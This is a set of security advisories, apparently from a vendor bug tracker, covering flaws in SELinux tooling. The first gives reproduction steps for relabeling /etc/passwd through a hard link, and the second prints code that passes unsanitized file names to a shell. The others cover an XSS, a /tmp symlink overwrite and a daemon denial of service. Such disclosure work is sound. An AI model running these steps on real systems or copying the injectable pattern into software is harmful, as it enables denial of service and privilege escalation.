The following issue was reported against selinux-policy:

Make sure that the selinux-policy-targeted package is not up-to-date when you start. You also need to set the sysctl fs.protectedhardlinks to 0. (If I recall correctly, the relabel code has a race, so you will still be able to exploit it even with protected hard links/symbolic links, it's just more difficult.)

$ cd $ mkdir .config $ cd .config $ ln /etc/passwd $ ls -lZ passwd -rw-r--r--. root root systemu:objectr:passwdfilet:s0 passwd

And as root:

yum upgrade selinux-policy-targeted

Back as the user:

$ ls -lZ passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 passwd $ ls -lZ /etc/passwd -rw-r--r--. root root systemu:objectr:confighomet:s0 /etc/passwd

This prevents login with SSH, among other things:

type=SYSCALL msg=audit(1430136061.901:101): arch=c000003e syscall=2 success=no exit=-13 a0=7fee52cc1d8a a1=80000 a2=1b6 a3=0 items=0 ppid=4899 pid=4900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="unixchkpwd" exe="/usr/sbin/unixchkpwd" subj=systemu:systemr:chkpwdt:s0-s0:c0.c1023 key=(null) type=AVC msg=audit(1430136061.901:101): avc: denied { read } for pid=4900 comm="unixchkpwd" name="passwd" dev="dm-1" ino=69128317 scontext=systemu:systemr:chkpwdt:s0-s0:c0.c1023 tcontext=systemu:objectr:confighomet:s0 tclass=file

The cause is easily identified, at the bottom of the “rpm -q --scripts selinux-policy-targeted” output:

if /sbin/restorecon -R /home//.config 2> /dev/null;then continue; fi;fi;exit 0

This particularly easy exploit vector was introduced in this spec file commit for RHEL 7:

commit 5eea0f4403c4b8b3ef3ece9584c103e098048c64 Author: Dan Walsh <dwalsh> Date: Wed Feb 20 14:12:19 2013 +0100

Always run restorecon at install time to make sure key files are labeled correctly

The underlying issue is older, and also affects RHEL 6, but exploiting it there is more difficult because you need a policy update which relabels a user-writable part of the file system, and I suppose those are rare.

Acknowledgements:

This issue was discovered by Florian Weimer of Red Hat Product Security.

It was found that setroubleshoot did not sanitize file names supplied in a shell command look-up for RPMs associated with access violation reports. An attacker could use this flaw to escalate their privileges on the system by supplying a specially crafted file to the underlying shell command.

The vulnerable code in util.py:

266 def getrpmnvrbyfilepathtemporary(name): 267 if name is None or not os.path.exists(name): 268 return None 269 270 nvr = None 271 try: 272 import commands 273 rc, output = commands.getstatusoutput("rpm -qf '%s'" % name) 274 if rc == 0: 275 nvr = output 276 except: 277 syslog.syslog(syslog.LOGERR, "failed to retrieve rpm info for %s" % name) 278 return nvr

Acknowledgements:

Red Hat would like to thank Sebastian Krahmer of the SUSE Security Team for reporting this issue.

Cross-site scripting (XSS) vulnerability in setroubleshoot 2.0.5 allows local users to inject arbitrary web script or HTML via a crafted (1) file or (2) process name, which triggers an Access Vector Cache (AVC) log entry in a log file used during composition of HTML documents for sealert.

reported via secalert

By default, the sealert program writes diagnostic messages to the file /tmp/sealert.log. It does not check to ensure that this file does not already exist, or that it is not a symbolic link. An unprivileged local attacker can exploit this flaw to cause arbitrary files writable by other users to be overwritten when those users run sealert. The sealert program is run automatically, without user action, as part of the default RHEL 5 GNOME desktop session. It does not appear to be possible for the attacker to cause arbitrary data to be written to sealert.log, but the previous contents of the file are erased.'

Reported via secalert:

There is an algorithmic complexity weakness in the way the MCS translation daemon handles ranges of compartments in sensitivity labels. When translating a security context that includes a range of categories separated by a period, e.g. "c0.c10", the daemon calls the substituterange() function to replace the range with an explicit declaration of each category, e.g. "c0,c1,c2,c3,c4,c5,c6,c7,c8,c9,10". The vulnerable logic in this function is shown below (with some lines wrapped for readability):

while (tok) { if ((r=strchr(tok, '.')) !=0) { int begin=atoi(&tok[1]); ++r; int end=atoi(&r[1]); for (;begin<end+1;begin++) { tmp=sub; if (asprintf(&sub, "%sc%d,", sub, begin) < 0) { error=1; break; } free(tmp); } } else { tmp=sub; if (asprintf(&sub, "%s%s,", sub, tok) < 0) { error=1; break; } free(tmp); } tok=strtokr(NULL, ",", &ptr); }

The attacker supplies the input string for this function, and the values of 'begin' and 'end' are not checked. Consequently, by supplying an abnormally long range, an attacker can cause the program to remain in the above loop for an extremely long period of time. Since mcstransd is a single-threaded, single-process daemon, it supports only one concurrent request.

This weakness allows a local attacker to trivially prevent the daemon from responding to requests for an extended period of time (hours or days). When the mcstrans service is enabled, the system calls upon mcstransd for user logins and the execution of many programs. If mcstransd does not respond, those operations silently hang.